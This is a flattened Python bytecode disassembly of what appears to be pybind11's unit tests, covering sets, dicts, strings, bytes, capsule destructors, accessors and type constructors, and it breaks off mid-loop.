LOAD_METHOD get_frozenset CALL_METHOD STORE_FAST s LOAD_GLOBAL isinstance LOAD_FAST s LOAD_GLOBAL frozenset CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_GLOBAL frozenset LOAD_CONST 'key1' LOAD_CONST 'key2' LOAD_CONST 'key3' BUILD_SET CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 64 POP_TOP LOAD_GLOBAL m LOAD_METHOD print_anyset LOAD_FAST s CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n key: key1\n key: key2\n key: key3\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_size LOAD_FAST s CALL_METHOD LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_empty LOAD_FAST s CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_contains LOAD_GLOBAL frozenset CALL_FUNCTION LOAD_CONST 42 CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_contains LOAD_GLOBAL frozenset LOAD_CONST 42 BUILD_SET CALL_FUNCTION LOAD_CONST 42 CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_contains LOAD_GLOBAL frozenset LOAD_CONST 'foo' BUILD_SET CALL_FUNCTION LOAD_CONST 'foo' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_frozenset CALL_FUNCTION LOAD_CONST 'get_frozenset() -> frozenset' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD get_dict CALL_METHOD STORE_FAST d LOAD_FAST d LOAD_CONST 'key' LOAD_CONST 'value' BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 52 POP_TOP LOAD_CONST 'value2' LOAD_FAST d LOAD_CONST 'key2' STORE_SUBSCR LOAD_GLOBAL m LOAD_METHOD print_dict LOAD_FAST d CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n key: key, value=value\n key: key2, value=value2\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD dict_contains BUILD_MAP LOAD_CONST 42 CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD dict_contains LOAD_CONST 42 LOAD_CONST None BUILD_MAP LOAD_CONST 42 CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD dict_contains LOAD_CONST 'foo' LOAD_CONST None BUILD_MAP LOAD_CONST 'foo' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_dict CALL_FUNCTION LOAD_CONST 'get_dict() -> dict' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR print_dict CALL_FUNCTION LOAD_CONST 'print_dict(arg0: dict) -> None' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD dict_keyword_constructor CALL_METHOD LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST ('x', 'y', 'z') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CustomContains' STORE_NAME __qualname__ LOAD_CONST 'key' LOAD_CONST None BUILD_MAP STORE_NAME d LOAD_CONST <code object __contains__ at 0x7fab8212b4b0, file "f.py", line 180> LOAD_CONST 'CustomContains.__contains__' MAKE_FUNCTION STORE_NAME __contains__ LOAD_CONST None RETURN_VALUE LOAD_FAST m LOAD_FAST self LOAD_ATTR d COMPARE_OP in RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object Unhashable at 0x7fab8212bb70, file "f.py", line 194> LOAD_CONST 'Unhashable' MAKE_FUNCTION LOAD_CONST 'Unhashable' CALL_FUNCTION STORE_FAST Unhashable LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 42 STORE_FAST exc_info LOAD_FAST func LOAD_FAST arg LOAD_FAST Unhashable CALL_FUNCTION CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST 'unhashable type:' LOAD_GLOBAL str LOAD_FAST exc_info LOAD_ATTR value CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_unhashable_exceptions.<locals>.Unhashable' STORE_NAME __qualname__ LOAD_CONST None STORE_NAME __hash__ LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD tuple_no_args CALL_METHOD LOAD_CONST () COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD tuple_ssize_t CALL_METHOD LOAD_CONST () COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD tuple_size_t CALL_METHOD LOAD_CONST () COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD get_tuple CALL_METHOD LOAD_CONST (42, None, 'spam') COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD get_simple_namespace CALL_METHOD STORE_FAST ns LOAD_FAST ns LOAD_ATTR attr LOAD_CONST 42 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ns LOAD_ATTR x LOAD_CONST 'foo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ns LOAD_ATTR right LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL hasattr LOAD_FAST ns LOAD_CONST 'wrong' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD str_from_char_ssize_t CALL_METHOD LOAD_METHOD encode CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'red' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD str_from_char_size_t CALL_METHOD LOAD_METHOD encode CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'blue' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD str_from_string CALL_METHOD LOAD_METHOD encode CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'baz' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD str_from_bytes CALL_METHOD LOAD_METHOD encode CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'boo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR str_from_bytes CALL_FUNCTION LOAD_CONST 'str_from_bytes() -> str' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_BUILD_CLASS LOAD_CONST <code object A at 0x7fab800c7d20, file "f.py", line 225> LOAD_CONST 'A' MAKE_FUNCTION LOAD_CONST 'A' CALL_FUNCTION STORE_FAST A LOAD_GLOBAL m LOAD_METHOD str_from_object LOAD_FAST A CALL_FUNCTION CALL_METHOD LOAD_CONST 'this is a str' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD repr_from_object LOAD_FAST A CALL_FUNCTION CALL_METHOD LOAD_CONST 'this is a repr' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD str_from_handle LOAD_FAST A CALL_FUNCTION CALL_METHOD LOAD_CONST 'this is a str' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD str_format CALL_METHOD UNPACK_SEQUENCE STORE_FAST s1 STORE_FAST s2 LOAD_FAST s1 LOAD_CONST '1 + 2 = 3' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s1 LOAD_FAST s2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST b'\x80' STORE_FAST malformed_utf8 LOAD_GLOBAL hasattr LOAD_GLOBAL m LOAD_CONST 'PYBIND11_STR_LEGACY_PERMISSIVE' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL m LOAD_METHOD str_from_object LOAD_FAST malformed_utf8 CALL_METHOD LOAD_FAST malformed_utf8 COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 282 LOAD_GLOBAL m LOAD_METHOD str_from_object LOAD_FAST malformed_utf8 CALL_METHOD LOAD_CONST "b'\\x80'" COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD str_from_handle LOAD_FAST malformed_utf8 CALL_METHOD LOAD_CONST "b'\\x80'" COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD str_from_string_from_str LOAD_CONST 'this is a str' CALL_METHOD LOAD_CONST 'this is a str' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST '\udcc3' STORE_FAST ucs_surrogates_str LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL UnicodeEncodeError CALL_METHOD SETUP_WITH to 352 POP_TOP LOAD_GLOBAL m LOAD_METHOD str_from_string_from_str LOAD_FAST ucs_surrogates_str CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_str.<locals>.A' STORE_NAME __qualname__ LOAD_CONST <code object __str__ at 0x7fab800c78a0, file "f.py", line 226> LOAD_CONST 'test_str.<locals>.A.__str__' MAKE_FUNCTION STORE_NAME __str__ LOAD_CONST <code object __repr__ at 0x7fab800c7f60, file "f.py", line 229> LOAD_CONST 'test_str.<locals>.A.__repr__' MAKE_FUNCTION STORE_NAME __repr__ LOAD_CONST None RETURN_VALUE LOAD_CONST 'this is a str' RETURN_VALUE LOAD_CONST 'this is a repr' RETURN_VALUE LOAD_CONST '\ud83d\ude4f' LOAD_METHOD encode LOAD_CONST 'utf-8' LOAD_CONST 'surrogatepass' CALL_METHOD STORE_FAST input_str LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL UnicodeDecodeError CALL_METHOD SETUP_WITH to 36 POP_TOP LOAD_FAST func LOAD_FAST input_str CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD bytes_from_char_ssize_t CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'green' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD bytes_from_char_size_t CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'purple' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD bytes_from_string CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'foo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD bytes_from_str CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'bar' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR bytes_from_str CALL_FUNCTION LOAD_CONST 'bytes_from_str() -> bytes' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD bytearray_from_char_ssize_t CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST '$%' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD bytearray_from_char_size_t CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST '@$!' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD bytearray_from_string CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'foo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD bytearray_size CALL_METHOD LOAD_GLOBAL len LOAD_CONST 'foo' CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP LOAD_FAST capture SETUP_WITH to 36 POP_TOP LOAD_GLOBAL m LOAD_METHOD return_capsule_with_destructor CALL_METHOD STORE_FAST a DELETE_FAST a LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n creating capsule\n destructing capsule\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 84 POP_TOP LOAD_GLOBAL m LOAD_METHOD return_renamed_capsule_with_destructor CALL_METHOD STORE_FAST a DELETE_FAST a LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n creating capsule\n renaming capsule\n destructing capsule\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 132 POP_TOP LOAD_GLOBAL m LOAD_METHOD return_capsule_with_destructor_2 CALL_METHOD STORE_FAST a DELETE_FAST a LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n creating capsule\n destructing capsule: 1234\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 180 POP_TOP LOAD_GLOBAL m LOAD_METHOD return_capsule_with_destructor_3 CALL_METHOD STORE_FAST a DELETE_FAST a LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n creating capsule\n destructing capsule: 1233\n original name: oname\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 228 POP_TOP LOAD_GLOBAL m LOAD_METHOD return_renamed_capsule_with_destructor_2 CALL_METHOD STORE_FAST a DELETE_FAST a LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n creating capsule\n renaming capsule\n destructing capsule: 1234\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 276 POP_TOP LOAD_GLOBAL m LOAD_METHOD return_capsule_with_name_and_destructor CALL_METHOD STORE_FAST a DELETE_FAST a LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST "\n created capsule (1234, 'pointer type description')\n destructing capsule (1234, 'pointer type description')\n " COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 326 POP_TOP LOAD_GLOBAL m LOAD_METHOD return_capsule_with_explicit_nullptr_dtor CALL_METHOD STORE_FAST a DELETE_FAST a LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n creating capsule with explicit nullptr dtor\n ' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object SubTestObject at 0x7fab800c7540, file "f.py", line 373> LOAD_CONST 'SubTestObject' MAKE_FUNCTION LOAD_CONST 'SubTestObject' CALL_FUNCTION STORE_DEREF SubTestObject LOAD_BUILD_CLASS LOAD_CLOSURE SubTestObject BUILD_TUPLE LOAD_CONST <code object TestObject at 0x7fab800c7270, file "f.py", line 377> LOAD_CONST 'TestObject' MAKE_FUNCTION LOAD_CONST 'TestObject' CALL_FUNCTION STORE_DEREF TestObject LOAD_GLOBAL m LOAD_METHOD accessor_api LOAD_DEREF TestObject CALL_FUNCTION CALL_METHOD STORE_FAST d LOAD_FAST d LOAD_CONST 'basic_attr' BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'begin_end' BINARY_SUBSCR LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'operator[object]' BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'operator[char *]' BINARY_SUBSCR LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'attr(object)' BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'attr(char *)' BINARY_SUBSCR LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'missing_attr_ptr' BINARY_SUBSCR LOAD_CONST 'raised' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'missing_attr_chain' BINARY_SUBSCR LOAD_CONST 'raised' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'is_none' BINARY_SUBSCR LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'operator()' BINARY_SUBSCR LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'operator*' BINARY_SUBSCR LOAD_CONST 7 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'implicit_list' BINARY_SUBSCR LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL all LOAD_CLOSURE TestObject BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fab800c75d0, file "f.py", line 399> LOAD_CONST 'test_accessors.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST d LOAD_CONST 'implicit_dict' BINARY_SUBSCR GET_ITER CALL_FUNCTION CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD tuple_accessor LOAD_CONST () CALL_METHOD LOAD_CONST (0, 1, 2) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD accessor_assignment CALL_METHOD STORE_FAST d LOAD_FAST d LOAD_CONST 'get' BINARY_SUBSCR LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'deferred_get' BINARY_SUBSCR LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'set' BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'deferred_set' BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'var' BINARY_SUBSCR LOAD_CONST 99 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_accessors.<locals>.SubTestObject' STORE_NAME __qualname__ LOAD_CONST 1 STORE_NAME attr_obj LOAD_CONST 2 STORE_NAME attr_char LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_accessors.<locals>.TestObject' STORE_NAME __qualname__ LOAD_CONST 1 STORE_NAME basic_attr LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST STORE_NAME begin_end LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST ('operator[object]', 'operator[char *]') BUILD_CONST_KEY_MAP STORE_NAME d LOAD_CLASSDEREF SubTestObject CALL_FUNCTION STORE_NAME sub LOAD_CONST <code object func at 0x7fab800c74b0, file "f.py", line 383> LOAD_CONST 'test_accessors.<locals>.TestObject.func' MAKE_FUNCTION STORE_NAME func LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR basic_attr LOAD_FAST x BINARY_ADD LOAD_GLOBAL sum LOAD_FAST args CALL_FUNCTION BINARY_ADD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST x LOAD_FAST x LOAD_DEREF TestObject LOAD_ATTR __dict__ COMPARE_OP in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD accessor_moves CALL_METHOD STORE_FAST inc_refs LOAD_FAST inc_refs POP_JUMP_IF_FALSE LOAD_FAST inc_refs LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 64 LOAD_GLOBAL pytest LOAD_METHOD skip LOAD_CONST 'Not defined: PYBIND11_HANDLE_REF_DEBUG' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL bytes LOAD_GLOBAL bytearray LOAD_GLOBAL str LOAD_GLOBAL bool LOAD_GLOBAL int LOAD_GLOBAL float LOAD_GLOBAL tuple LOAD_GLOBAL list LOAD_GLOBAL dict LOAD_GLOBAL set BUILD_LIST STORE_FAST types LOAD_CONST <code object <dictcomp> at 0x7fab800c7ed0, file "f.py", line 422> LOAD_CONST 'test_constructors.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST types GET_ITER CALL_FUNCTION STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD default_constructors CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL bytes LOAD_CONST b'41' LOAD_GLOBAL bytearray LOAD_GLOBAL bytearray LOAD_CONST b'41' CALL_FUNCTION LOAD_GLOBAL str LOAD_CONST 42 LOAD_GLOBAL bool LOAD_CONST 'Not empty' LOAD_GLOBAL int LOAD_CONST '42' LOAD_GLOBAL float LOAD_CONST '+1e3' LOAD_GLOBAL tuple LOAD_GLOBAL range LOAD_CONST 3 CALL_FUNCTION LOAD_GLOBAL list LOAD_GLOBAL range LOAD_CONST 3 CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST ('two', 2) LOAD_CONST ('one', 1) LOAD_CONST ('three', 3) BUILD_LIST LOAD_GLOBAL set LOAD_CONST 4 LOAD_CONST 4 LOAD_CONST 5 LOAD_CONST 6 LOAD_CONST 6 LOAD_CONST 6 BUILD_LIST LOAD_GLOBAL frozenset LOAD_CONST 4 LOAD_CONST 4 LOAD_CONST 5 LOAD_CONST 6 LOAD_CONST 6 LOAD_CONST 6 BUILD_LIST LOAD_GLOBAL memoryview LOAD_CONST b'abc' BUILD_MAP STORE_FAST data LOAD_CONST <code object <dictcomp> at 0x7fab800c7300, file "f.py", line 439> LOAD_CONST 'test_constructors.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST data LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST inputs LOAD_CONST <code object <dictcomp> at 0x7fab800c7780, file "f.py", line 440> LOAD_CONST 'test_constructors.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST data LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD converting_constructors LOAD_FAST inputs CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD cast_functions LOAD_FAST inputs CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD converting_constructors LOAD_FAST expected CALL_METHOD STORE_FAST noconv1 SETUP_LOOP to 264 LOAD_FAST noconv1 GET_ITER 